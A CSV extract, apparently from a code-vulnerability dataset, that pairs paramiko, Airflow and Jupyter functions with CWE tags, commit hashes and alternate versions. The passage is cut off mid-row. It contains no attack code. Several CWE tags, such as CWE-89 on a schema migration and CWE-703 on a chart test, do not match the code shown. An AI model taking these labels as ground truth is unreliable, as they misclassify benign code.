functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/server.py,0,"def check_channel_env_request(self, channel, name, value):
        """"""
        Check whether a given environment variable can be specified for the
        given channel.  This method should return ``True`` if the server
        is willing to set the specified environment variable.  Note that
        some environment variables (e.g., PATH) can be exceedingly
        dangerous, so blindly allowing the client to set the environment
        is almost certainly not a good idea.

        The default implementation always returns ``False``.

        :param channel: the `.Channel` the env request arrived on
        :param str name: name
        :param str value: Channel value
        :returns: A boolean
        """"""
        return False",,paramiko/paramiko,233f0a422e3384584e20eff7330a536230d3cd31,"def check_channel_env_request(self, channel, name, value):
        """"""
        Check whether a given environment variable can be specified for the
        given channel.  This method should return C{True} if the server
        is willing to set the specified environment variable.  Note that
        some environment variables (e.g., PATH) can be exceedingly
        dangerous, so blindly allowing the client to set the environment
        is almost certainly not a good idea.

        The default implementation always returns C{False}.

        @param channel: the L{Channel} the env request arrived on
        @type channel: L{Channel}
        @param name: foo bar baz
        @type name: str
        @param value: flklj
        @type value: str
        @rtype: bool
        """"""
        return False"
,UNKNOWN,UNKNOWN,providers/celery/src/airflow/providers/celery/get_provider_info.py,1,"def get_provider_info():
    return {
        ""package-name"": ""apache-airflow-providers-celery"",
        ""name"": ""Celery"",
        ""description"": ""`Celery <https://docs.celeryq.dev/en/stable/>`__\n"",
        ""state"": ""ready"",
        ""source-date-epoch"": 1737575943,
        ""versions"": [
            ""3.10.0"",
            ""3.9.0"",
            ""3.8.5"",
            ""3.8.4"",
            ""3.8.3"",
            ""3.8.2"",
            ""3.8.1"",
            ""3.8.0"",
            ""3.7.3"",
            ""3.7.2"",
            ""3.7.1"",
            ""3.7.0"",
            ""3.6.2"",
            ""3.6.1"",
            ""3.6.0"",
            ""3.5.2"",
            ""3.5.1"",
            ""3.5.0"",
            ""3.4.1"",
            ""3.4.0"",
            ""3.3.4"",
            ""3.3.3"",
            ""3.3.2"",
            ""3.3.1"",
            ""3.3.0"",
            ""3.2.1"",
            ""3.2.0"",
            ""3.1.0"",
            ""3.0.0"",
            ""2.1.4"",
            ""2.1.3"",
            ""2.1.2"",
            ""2.1.1"",
            ""2.1.0"",
            ""2.0.0"",
            ""1.0.1"",
            ""1.0.0"",
        ],
        ""integrations"": [
            {
                ""integration-name"": ""Celery"",
                ""external-doc-url"": ""https://docs.celeryq.dev/en/stable/"",
                ""logo"": ""/docs/integration-logos/Celery.png"",
                ""tags"": [""software""],
            }
        ],
        ""sensors"": [
            {
                ""integration-name"": ""Celery"",
                ""python-modules"": [""airflow.providers.celery.sensors.celery_queue""],
            }
        ],
        ""executors"": [
            ""airflow.providers.celery.executors.celery_executor.CeleryExecutor"",
            ""airflow.providers.celery.executors.celery_kubernetes_executor.CeleryKubernetesExecutor"",
        ],
        ""config"": {
            ""celery_kubernetes_executor"": {
                ""description"": ""This section only applies if you are using the ``CeleryKubernetesExecutor`` in\n``[core]`` section above\n"",
                ""options"": {
                    ""kubernetes_queue"": {
                        ""description"": ""Define when to send a task to ``KubernetesExecutor`` when using ``CeleryKubernetesExecutor``.\nWhen the queue of a task is the value of ``kubernetes_queue`` (default ``kubernetes``),\nthe task is executed via ``KubernetesExecutor``,\notherwise via ``CeleryExecutor``\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""kubernetes"",
                    }
                },
            },
            ""celery"": {
                ""description"": ""This section only applies if you are using the CeleryExecutor in\n``[core]`` section above\n"",
                ""options"": {
                    ""celery_app_name"": {
                        ""description"": ""The app name that will be used by celery\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""airflow.providers.celery.executors.celery_executor"",
                    },
                    ""worker_concurrency"": {
                        ""description"": ""The concurrency that will be used when starting workers with the\n``airflow celery worker`` command. This defines the number of task instances that\na worker will take, so size up your workers based on the resources on\nyour worker box and the nature of your tasks\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""16"",
                    },
                    ""worker_autoscale"": {
                        ""description"": ""The maximum and minimum number of pool processes that will be used to dynamically resize\nthe pool based on load.Enable autoscaling by providing max_concurrency,min_concurrency\nwith the ``airflow celery worker`` command (always keep minimum processes,\nbut grow to maximum if necessary).\nPick these numbers based on resources on worker box and the nature of the task.\nIf autoscale option is available, worker_concurrency will be ignored.\nhttps://docs.celeryq.dev/en/latest/reference/celery.bin.worker.html#cmdoption-celery-worker-autoscale\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": ""16,12"",
                        ""default"": None,
                    },
                    ""worker_prefetch_multiplier"": {
                        ""description"": ""Used to increase the number of tasks that a worker prefetches which can improve performance.\nThe number of processes multiplied by worker_prefetch_multiplier is the number of tasks\nthat are prefetched by a worker. A value greater than 1 can result in tasks being unnecessarily\nblocked if there are multiple workers and one worker prefetches tasks that sit behind long\nrunning tasks while another worker has unutilized processes that are unable to process the already\nclaimed blocked tasks.\nhttps://docs.celeryq.dev/en/stable/userguide/optimizing.html#prefetch-limits\n"",
                        ""version_added"": None,
                        ""type"": ""integer"",
                        ""example"": None,
                        ""default"": ""1"",
                    },
                    ""worker_enable_remote_control"": {
                        ""description"": ""Specify if remote control of the workers is enabled.\nIn some cases when the broker does not support remote control, Celery creates lots of\n``.*reply-celery-pidbox`` queues. You can prevent this by setting this to false.\nHowever, with this disabled Flower won't work.\nhttps://docs.celeryq.dev/en/stable/getting-started/backends-and-brokers/index.html#broker-overview\n"",
                        ""version_added"": None,
                        ""type"": ""boolean"",
                        ""example"": None,
                        ""default"": ""true"",
                    },
                    ""broker_url"": {
                        ""description"": ""The Celery broker URL. Celery supports RabbitMQ, Redis and experimentally\na sqlalchemy database. Refer to the Celery documentation for more information.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": None,
                        ""default"": ""redis://redis:6379/0"",
                    },
                    ""result_backend"": {
                        ""description"": ""The Celery result_backend. When a job finishes, it needs to update the\nmetadata of the job. Therefore it will post a message on a message bus,\nor insert it into a database (depending of the backend)\nThis status is used by the scheduler to update the state of the task\nThe use of a database is highly recommended\nWhen not specified, sql_alchemy_conn with a db+ scheme prefix will be used\nhttps://docs.celeryq.dev/en/latest/userguide/configuration.html#task-result-backend-settings\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": ""db+postgresql://postgres:airflow@postgres/airflow"",
                        ""default"": None,
                    },
                    ""result_backend_sqlalchemy_engine_options"": {
                        ""description"": ""Optional configuration dictionary to pass to the Celery result backend SQLAlchemy engine.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": '{""pool_recycle"": 1800}',
                        ""default"": """",
                    },
                    ""flower_host"": {
                        ""description"": ""Celery Flower is a sweet UI for Celery. Airflow has a shortcut to start\nit ``airflow celery flower``. This defines the IP that Celery Flower runs on\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""0.0.0.0"",
                    },
                    ""flower_url_prefix"": {
                        ""description"": ""The root URL for Flower\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": ""/flower"",
                        ""default"": """",
                    },
                    ""flower_port"": {
                        ""description"": ""This defines the port that Celery Flower runs on\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""5555"",
                    },
                    ""flower_basic_auth"": {
                        ""description"": ""Securing Flower with Basic Authentication\nAccepts user:password pairs separated by a comma\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": ""user1:password1,user2:password2"",
                        ""default"": """",
                    },
                    ""sync_parallelism"": {
                        ""description"": ""How many processes CeleryExecutor uses to sync task state.\n0 means to use max(1, number of cores - 1) processes.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""0"",
                    },
                    ""celery_config_options"": {
                        ""description"": ""Import path for celery configuration options\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""airflow.providers.celery.executors.default_celery.DEFAULT_CELERY_CONFIG"",
                    },
                    ""ssl_active"": {
                        ""description"": None,
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""False"",
                    },
                    ""ssl_key"": {
                        ""description"": ""Path to the client key.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": """",
                    },
                    ""ssl_cert"": {
                        ""description"": ""Path to the client certificate.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": """",
                    },
                    ""ssl_cacert"": {
                        ""description"": ""Path to the CA certificate.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": """",
                    },
                    ""pool"": {
                        ""description"": ""Celery Pool implementation.\nChoices include: ``prefork`` (default), ``eventlet``, ``gevent`` or ``solo``.\nSee:\nhttps://docs.celeryq.dev/en/latest/userguide/workers.html#concurrency\nhttps://docs.celeryq.dev/en/latest/userguide/concurrency/eventlet.html\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""prefork"",
                    },
                    ""operation_timeout"": {
                        ""description"": ""The number of seconds to wait before timing out ``send_task_to_executor`` or\n``fetch_celery_task_state`` operations.\n"",
                        ""version_added"": None,
                        ""type"": ""float"",
                        ""example"": None,
                        ""default"": ""1.0"",
                    },
                    ""task_acks_late"": {
                        ""description"": ""If an Airflow task's execution time exceeds the visibility_timeout, Celery will re-assign the\ntask to a Celery worker, even if the original task is still running successfully. The new task\ninstance then runs concurrently with the original task and the Airflow UI and logs only show an\nerror message:\n'Task Instance Not Running' FAILED: Task is in the running state'\nSetting task_acks_late to True will force Celery to wait until a task is finished before a\nnew task instance is assigned. This effectively overrides the visibility timeout.\nSee also:\nhttps://docs.celeryq.dev/en/stable/reference/celery.app.task.html#celery.app.task.Task.acks_late\n"",
                        ""version_added"": ""3.6.0"",
                        ""type"": ""boolean"",
                        ""example"": ""True"",
                        ""default"": ""True"",
                    },
                    ""task_track_started"": {
                        ""description"": ""Celery task will report its status as 'started' when the task is executed by a worker.\nThis is used in Airflow to keep track of the running tasks and if a Scheduler is restarted\nor run in HA mode, it can adopt the orphan tasks launched by previous SchedulerJob.\n"",
                        ""version_added"": None,
                        ""type"": ""boolean"",
                        ""example"": None,
                        ""default"": ""True"",
                    },
                    ""task_publish_max_retries"": {
                        ""description"": ""The Maximum number of retries for publishing task messages to the broker when failing\ndue to ``AirflowTaskTimeout`` error before giving up and marking Task as failed.\n"",
                        ""version_added"": None,
                        ""type"": ""integer"",
                        ""example"": None,
                        ""default"": ""3"",
                    },
                    ""worker_precheck"": {
                        ""description"": ""Worker initialisation check to validate Metadata Database connection\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""False"",
                    },
                    ""extra_celery_config"": {
                        ""description"": 'Extra celery configs to include in the celery worker.\nAny of the celery config can be added to this config and it\nwill be applied while starting the celery worker. e.g. {""worker_max_tasks_per_child"": 10}\nSee also:\nhttps://docs.celeryq.dev/en/stable/userguide/configuration.html#configuration-and-defaults\n',
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""{{}}"",
                    },
                },
            },
            ""celery_broker_transport_options"": {
                ""description"": ""This section is for specifying options which can be passed to the\nunderlying celery broker transport. See:\nhttps://docs.celeryq.dev/en/latest/userguide/configuration.html#std:setting-broker_transport_options\n"",
                ""options"": {
                    ""visibility_timeout"": {
                        ""description"": ""The visibility timeout defines the number of seconds to wait for the worker\nto acknowledge the task before the message is redelivered to another worker.\nMake sure to increase the visibility timeout to match the time of the longest\nETA you're planning to use.\nvisibility_timeout is only supported for Redis and SQS celery brokers.\nSee:\nhttps://docs.celeryq.dev/en/stable/getting-started/backends-and-brokers/redis.html#visibility-timeout\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": ""21600"",
                        ""default"": None,
                    },
                    ""sentinel_kwargs"": {
                        ""description"": ""The sentinel_kwargs parameter allows passing additional options to the Sentinel client.\nIn a typical scenario where Redis Sentinel is used as the broker and Redis servers are\npassword-protected, the password needs to be passed through this parameter. Although its\ntype is string, it is required to pass a string that conforms to the dictionary format.\nSee:\nhttps://docs.celeryq.dev/en/stable/getting-started/backends-and-brokers/redis.html#configuration\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": '{""password"": ""password_for_redis_server""}',
                        ""default"": None,
                    },
                },
            },
        },
        ""dependencies"": [
            ""apache-airflow>=2.9.0"",
            ""celery[redis]>=5.4.0,<6"",
            ""flower>=1.0.0"",
            ""google-re2>=1.0"",
        ],
        ""optional-dependencies"": {""cncf.kubernetes"": [""apache-airflow-providers-cncf-kubernetes>=7.4.0""]},
    }","CWE-259, CWE-605",apache/airflow,984c61d2871167056cc727c82b7ee5d3acf9d54a,"def get_provider_info():
    return {
        ""package-name"": ""apache-airflow-providers-celery"",
        ""name"": ""Celery"",
        ""description"": ""`Celery <https://docs.celeryq.dev/en/stable/>`__\n"",
        ""state"": ""ready"",
        ""source-date-epoch"": 1737575943,
        ""versions"": [
            ""3.10.0"",
            ""3.9.0"",
            ""3.8.5"",
            ""3.8.4"",
            ""3.8.3"",
            ""3.8.2"",
            ""3.8.1"",
            ""3.8.0"",
            ""3.7.3"",
            ""3.7.2"",
            ""3.7.1"",
            ""3.7.0"",
            ""3.6.2"",
            ""3.6.1"",
            ""3.6.0"",
            ""3.5.2"",
            ""3.5.1"",
            ""3.5.0"",
            ""3.4.1"",
            ""3.4.0"",
            ""3.3.4"",
            ""3.3.3"",
            ""3.3.2"",
            ""3.3.1"",
            ""3.3.0"",
            ""3.2.1"",
            ""3.2.0"",
            ""3.1.0"",
            ""3.0.0"",
            ""2.1.4"",
            ""2.1.3"",
            ""2.1.2"",
            ""2.1.1"",
            ""2.1.0"",
            ""2.0.0"",
            ""1.0.1"",
            ""1.0.0"",
        ],
        ""integrations"": [
            {
                ""integration-name"": ""Celery"",
                ""external-doc-url"": ""https://docs.celeryq.dev/en/stable/"",
                ""logo"": ""/docs/integration-logos/Celery.png"",
                ""tags"": [""software""],
            }
        ],
        ""sensors"": [
            {
                ""integration-name"": ""Celery"",
                ""python-modules"": [""airflow.providers.celery.sensors.celery_queue""],
            }
        ],
        ""executors"": [
            ""airflow.providers.celery.executors.celery_executor.CeleryExecutor"",
            ""airflow.providers.celery.executors.celery_kubernetes_executor.CeleryKubernetesExecutor"",
        ],
        ""config"": {
            ""celery_kubernetes_executor"": {
                ""description"": ""This section only applies if you are using the ``CeleryKubernetesExecutor`` in\n``[core]`` section above\n"",
                ""options"": {
                    ""kubernetes_queue"": {
                        ""description"": ""Define when to send a task to ``KubernetesExecutor`` when using ``CeleryKubernetesExecutor``.\nWhen the queue of a task is the value of ``kubernetes_queue`` (default ``kubernetes``),\nthe task is executed via ``KubernetesExecutor``,\notherwise via ``CeleryExecutor``\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""kubernetes"",
                    }
                },
            },
            ""celery"": {
                ""description"": ""This section only applies if you are using the CeleryExecutor in\n``[core]`` section above\n"",
                ""options"": {
                    ""celery_app_name"": {
                        ""description"": ""The app name that will be used by celery\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""airflow.providers.celery.executors.celery_executor"",
                    },
                    ""worker_concurrency"": {
                        ""description"": ""The concurrency that will be used when starting workers with the\n``airflow celery worker`` command. This defines the number of task instances that\na worker will take, so size up your workers based on the resources on\nyour worker box and the nature of your tasks\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""16"",
                    },
                    ""worker_autoscale"": {
                        ""description"": ""The maximum and minimum number of pool processes that will be used to dynamically resize\nthe pool based on load.Enable autoscaling by providing max_concurrency,min_concurrency\nwith the ``airflow celery worker`` command (always keep minimum processes,\nbut grow to maximum if necessary).\nPick these numbers based on resources on worker box and the nature of the task.\nIf autoscale option is available, worker_concurrency will be ignored.\nhttps://docs.celeryq.dev/en/latest/reference/celery.bin.worker.html#cmdoption-celery-worker-autoscale\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": ""16,12"",
                        ""default"": None,
                    },
                    ""worker_prefetch_multiplier"": {
                        ""description"": ""Used to increase the number of tasks that a worker prefetches which can improve performance.\nThe number of processes multiplied by worker_prefetch_multiplier is the number of tasks\nthat are prefetched by a worker. A value greater than 1 can result in tasks being unnecessarily\nblocked if there are multiple workers and one worker prefetches tasks that sit behind long\nrunning tasks while another worker has unutilized processes that are unable to process the already\nclaimed blocked tasks.\nhttps://docs.celeryq.dev/en/stable/userguide/optimizing.html#prefetch-limits\n"",
                        ""version_added"": None,
                        ""type"": ""integer"",
                        ""example"": None,
                        ""default"": ""1"",
                    },
                    ""worker_enable_remote_control"": {
                        ""description"": ""Specify if remote control of the workers is enabled.\nIn some cases when the broker does not support remote control, Celery creates lots of\n``.*reply-celery-pidbox`` queues. You can prevent this by setting this to false.\nHowever, with this disabled Flower won't work.\nhttps://docs.celeryq.dev/en/stable/getting-started/backends-and-brokers/index.html#broker-overview\n"",
                        ""version_added"": None,
                        ""type"": ""boolean"",
                        ""example"": None,
                        ""default"": ""true"",
                    },
                    ""broker_url"": {
                        ""description"": ""The Celery broker URL. Celery supports RabbitMQ, Redis and experimentally\na sqlalchemy database. Refer to the Celery documentation for more information.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": None,
                        ""default"": ""redis://redis:6379/0"",
                    },
                    ""result_backend"": {
                        ""description"": ""The Celery result_backend. When a job finishes, it needs to update the\nmetadata of the job. Therefore it will post a message on a message bus,\nor insert it into a database (depending of the backend)\nThis status is used by the scheduler to update the state of the task\nThe use of a database is highly recommended\nWhen not specified, sql_alchemy_conn with a db+ scheme prefix will be used\nhttps://docs.celeryq.dev/en/latest/userguide/configuration.html#task-result-backend-settings\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": ""db+postgresql://postgres:airflow@postgres/airflow"",
                        ""default"": None,
                    },
                    ""result_backend_sqlalchemy_engine_options"": {
                        ""description"": ""Optional configuration dictionary to pass to the Celery result backend SQLAlchemy engine.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": '{""pool_recycle"": 1800}',
                        ""default"": """",
                    },
                    ""flower_host"": {
                        ""description"": ""Celery Flower is a sweet UI for Celery. Airflow has a shortcut to start\nit ``airflow celery flower``. This defines the IP that Celery Flower runs on\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""0.0.0.0"",
                    },
                    ""flower_url_prefix"": {
                        ""description"": ""The root URL for Flower\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": ""/flower"",
                        ""default"": """",
                    },
                    ""flower_port"": {
                        ""description"": ""This defines the port that Celery Flower runs on\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""5555"",
                    },
                    ""flower_basic_auth"": {
                        ""description"": ""Securing Flower with Basic Authentication\nAccepts user:password pairs separated by a comma\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": ""user1:password1,user2:password2"",
                        ""default"": """",
                    },
                    ""sync_parallelism"": {
                        ""description"": ""How many processes CeleryExecutor uses to sync task state.\n0 means to use max(1, number of cores - 1) processes.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""0"",
                    },
                    ""celery_config_options"": {
                        ""description"": ""Import path for celery configuration options\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""airflow.providers.celery.executors.default_celery.DEFAULT_CELERY_CONFIG"",
                    },
                    ""ssl_active"": {
                        ""description"": None,
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""False"",
                    },
                    ""ssl_key"": {
                        ""description"": ""Path to the client key.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": """",
                    },
                    ""ssl_cert"": {
                        ""description"": ""Path to the client certificate.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": """",
                    },
                    ""ssl_cacert"": {
                        ""description"": ""Path to the CA certificate.\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": """",
                    },
                    ""pool"": {
                        ""description"": ""Celery Pool implementation.\nChoices include: ``prefork`` (default), ``eventlet``, ``gevent`` or ``solo``.\nSee:\nhttps://docs.celeryq.dev/en/latest/userguide/workers.html#concurrency\nhttps://docs.celeryq.dev/en/latest/userguide/concurrency/eventlet.html\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""prefork"",
                    },
                    ""operation_timeout"": {
                        ""description"": ""The number of seconds to wait before timing out ``send_task_to_executor`` or\n``fetch_celery_task_state`` operations.\n"",
                        ""version_added"": None,
                        ""type"": ""float"",
                        ""example"": None,
                        ""default"": ""1.0"",
                    },
                    ""task_acks_late"": {
                        ""description"": ""If an Airflow task's execution time exceeds the visibility_timeout, Celery will re-assign the\ntask to a Celery worker, even if the original task is still running successfully. The new task\ninstance then runs concurrently with the original task and the Airflow UI and logs only show an\nerror message:\n'Task Instance Not Running' FAILED: Task is in the running state'\nSetting task_acks_late to True will force Celery to wait until a task is finished before a\nnew task instance is assigned. This effectively overrides the visibility timeout.\nSee also:\nhttps://docs.celeryq.dev/en/stable/reference/celery.app.task.html#celery.app.task.Task.acks_late\n"",
                        ""version_added"": ""3.6.0"",
                        ""type"": ""boolean"",
                        ""example"": ""True"",
                        ""default"": ""True"",
                    },
                    ""task_track_started"": {
                        ""description"": ""Celery task will report its status as 'started' when the task is executed by a worker.\nThis is used in Airflow to keep track of the running tasks and if a Scheduler is restarted\nor run in HA mode, it can adopt the orphan tasks launched by previous SchedulerJob.\n"",
                        ""version_added"": None,
                        ""type"": ""boolean"",
                        ""example"": None,
                        ""default"": ""True"",
                    },
                    ""task_publish_max_retries"": {
                        ""description"": ""The Maximum number of retries for publishing task messages to the broker when failing\ndue to ``AirflowTaskTimeout`` error before giving up and marking Task as failed.\n"",
                        ""version_added"": None,
                        ""type"": ""integer"",
                        ""example"": None,
                        ""default"": ""3"",
                    },
                    ""worker_precheck"": {
                        ""description"": ""Worker initialisation check to validate Metadata Database connection\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""False"",
                    },
                    ""extra_celery_config"": {
                        ""description"": 'Extra celery configs to include in the celery worker.\nAny of the celery config can be added to this config and it\nwill be applied while starting the celery worker. e.g. {""worker_max_tasks_per_child"": 10}\nSee also:\nhttps://docs.celeryq.dev/en/stable/userguide/configuration.html#configuration-and-defaults\n',
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": None,
                        ""default"": ""{{}}"",
                    },
                },
            },
            ""celery_broker_transport_options"": {
                ""description"": ""This section is for specifying options which can be passed to the\nunderlying celery broker transport. See:\nhttps://docs.celeryq.dev/en/latest/userguide/configuration.html#std:setting-broker_transport_options\n"",
                ""options"": {
                    ""visibility_timeout"": {
                        ""description"": ""The visibility timeout defines the number of seconds to wait for the worker\nto acknowledge the task before the message is redelivered to another worker.\nMake sure to increase the visibility timeout to match the time of the longest\nETA you're planning to use.\nvisibility_timeout is only supported for Redis and SQS celery brokers.\nSee:\nhttps://docs.celeryq.dev/en/stable/getting-started/backends-and-brokers/redis.html#visibility-timeout\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""example"": ""21600"",
                        ""default"": None,
                    },
                    ""sentinel_kwargs"": {
                        ""description"": ""The sentinel_kwargs parameter allows passing additional options to the Sentinel client.\nIn a typical scenario where Redis Sentinel is used as the broker and Redis servers are\npassword-protected, the password needs to be passed through this parameter. Although its\ntype is string, it is required to pass a string that conforms to the dictionary format.\nSee:\nhttps://docs.celeryq.dev/en/stable/getting-started/backends-and-brokers/redis.html#configuration\n"",
                        ""version_added"": None,
                        ""type"": ""string"",
                        ""sensitive"": True,
                        ""example"": '{""password"": ""password_for_redis_server""}',
                        ""default"": None,
                    },
                },
            },
        },
        ""dependencies"": [
            ""apache-airflow>=2.9.0"",
            ""celery[redis]>=5.3.0,<6,!=5.3.3,!=5.3.2"",
            ""flower>=1.0.0"",
            ""google-re2>=1.0"",
        ],
        ""optional-dependencies"": {""cncf.kubernetes"": [""apache-airflow-providers-cncf-kubernetes>=7.4.0""]},
    }"
,UNKNOWN,UNKNOWN,chart/tests/test_pod_template_file.py,1,"def test_mount_airflow_cfg(self):
        docs = render_chart(
            values={},
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )

        assert re.search(""Pod"", docs[0][""kind""])
        assert {'configMap': {'name': 'RELEASE-NAME-airflow-config'}, 'name': 'config'} in jmespath.search(
            ""spec.volumes"", docs[0]
        )
        assert {
            'name': 'config',
            'mountPath': '/opt/airflow/airflow.cfg',
            'subPath': 'airflow.cfg',
            'readOnly': True,
        } in jmespath.search(""spec.containers[0].volumeMounts"", docs[0])",CWE-703,apache/airflow,f864d14a5a155c75887a7014eaf51d1db04526d1,"def test_mount_airflow_cfg(self):
        docs = render_chart(
            values={},
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )

        assert re.search(""Pod"", docs[0][""kind""])
        assert {'configMap': {'name': 'RELEASE-NAME-airflow-config'}, 'name': 'config'} in jmespath.search(
            ""spec.volumes"", docs[0]
        )
        assert {
            'name': 'config',
            'mountPath': '/opt/airflow/airflow.cfg',
            'subPath': 'airflow.cfg',
            'readOnly': True,
        } in jmespath.search(""spec.containers[0].volumeMounts"", docs[0])"
,UNKNOWN,UNKNOWN,airflow/migrations/versions/0105_2_3_0_add_map_index_to_taskfail.py,1,"def downgrade():
    tables()
    dialect_name = op.get_bind().dialect.name
    op.add_column('task_fail', sa.Column('execution_date', TIMESTAMP, nullable=True))
    update_query = _update_value_from_dag_run(
        dialect_name=dialect_name,
        target_table=task_fail,
        target_column=task_fail.c.execution_date,
        join_columns=['dag_id', 'run_id'],
    )
    op.execute(update_query)
    with op.batch_alter_table('task_fail') as batch_op:
        batch_op.alter_column('execution_date', existing_type=TIMESTAMP, nullable=False)
        if dialect_name != 'sqlite':
            batch_op.drop_constraint('task_fail_ti_fkey', type_='foreignkey')
        batch_op.drop_column('map_index', mssql_drop_default=True)
        batch_op.drop_column('run_id')
    op.create_index(
        index_name='idx_task_fail_dag_task_date',
        table_name='task_fail',
        columns=['dag_id', 'task_id', 'execution_date'],
        unique=False,
    )",CWE-89,apache/airflow,87c7867a23619fbab8e2da72ccddf5bc01266eb8,"def downgrade():
    tables()
    dialect_name = op.get_bind().dialect.name
    op.add_column('task_fail', sa.Column('execution_date', TIMESTAMP, nullable=True))
    update_query = _update_value_from_dag_run(
        dialect_name=dialect_name,
        target_table=task_fail,
        target_column=task_fail.c.execution_date,
        join_columns=['dag_id', 'run_id'],
    )
    op.execute(update_query)
    with op.batch_alter_table('task_fail', copy_from=task_fail) as batch_op:
        batch_op.alter_column('execution_date', existing_type=TIMESTAMP, nullable=False)
        if dialect_name != 'sqlite':
            batch_op.drop_constraint('task_fail_ti_fkey', type_='foreignkey')
        batch_op.drop_column('map_index', mssql_drop_default=True)
        batch_op.drop_column('run_id')
    op.create_index(
        index_name='idx_task_fail_dag_task_date',
        table_name='task_fail',
        columns=['dag_id', 'task_id', 'execution_date'],
        unique=False,
    )"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.extend([
            pjoin('static', app, 'js', 'built', '*main.min.js'),
            pjoin('static', app, 'js', 'built', '*main.min.js.map'),
        ])
    static_data.extend([
        pjoin('static', 'built', '*index.js'),
        pjoin('static', 'built', '*index.js.map'),
        pjoin('static', 'services', 'built', '*contents.js'),
        pjoin('static', 'services', 'built', '*contents.js.map'),
    ])
    
    # Add the Lab page contents
    static_data.append(pjoin('lab', 'build', '*'))

    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
